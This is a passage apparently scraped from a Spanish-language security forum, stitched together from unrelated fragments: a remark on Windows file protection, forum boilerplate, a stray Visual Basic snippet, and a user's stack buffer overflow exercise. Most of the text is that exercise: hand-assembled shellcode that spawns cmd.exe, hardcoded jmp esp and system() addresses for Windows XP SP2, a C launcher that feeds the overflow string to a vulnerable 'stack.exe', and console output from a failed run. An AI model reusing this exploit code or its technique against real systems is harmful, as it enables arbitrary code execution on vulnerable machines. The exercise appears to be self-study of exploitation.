eso es por el sistema de protección de archivos, si lo desactivas no lo vuelve a restaurar. Y no lo restaura cuando reinicia, sino en el momento en que se da cuenta de que ha sido alterado.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúunload Winsock(index)
Private Sub List1_Click()
MsgBox List1.List(List1.ListIndex)
End Sub
Citar
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR+offset+shellcode
(EIP se rellena con "RRRR")
MIO:
55 8B EC 33 FF 57 83 EC 04 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB C793BF77 FF D3
TUTO:
55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3
[MIO]
Olly: ESP 0012FF88
EIP 52525252
[TUTO]
Olly: ESP 55555555
EIP 54545454
Offset kernel32.dll esp: 0x7C82385D
Offset tuto: 0x77E81941
Offset system: 0x77bf93c7
Offset tuto: 0x77bf8044
Offset ntdll.dll esp (jmp esp): 0x7C951EED
Offset tuto: 0x77F8980F
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void main()
{
/*para provocar el stack overflow*/
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ";
/*la shellcode que ejecuta system("cmd.exe"); con la llamada a system hardcodeada*/
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";
/*offset al que saltar para ejecutar la shell*/
//Offset jmp esp ntdll32.dll WinXP SP2 Esp
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
/*
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
*/
/*
argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
*/
char *buffer;buffer=(char *) malloc((strlen(evilbuffer)+strlen("stack.exe")+5)*sizeof(char));
strcpy(buffer,"stack.exe ");strcat(buffer,evilbuffer);
system(buffer);
return;
}
Citar
"U<ì3ÿWƒì♦ÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe?EøP»Ç"¿wÿÓ" no se reconoce como un comand
o interno o externo,
programa o archivo por lotes ejecutable.
Press any key to continue
stack.exe AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQÝ▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë
Citar
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3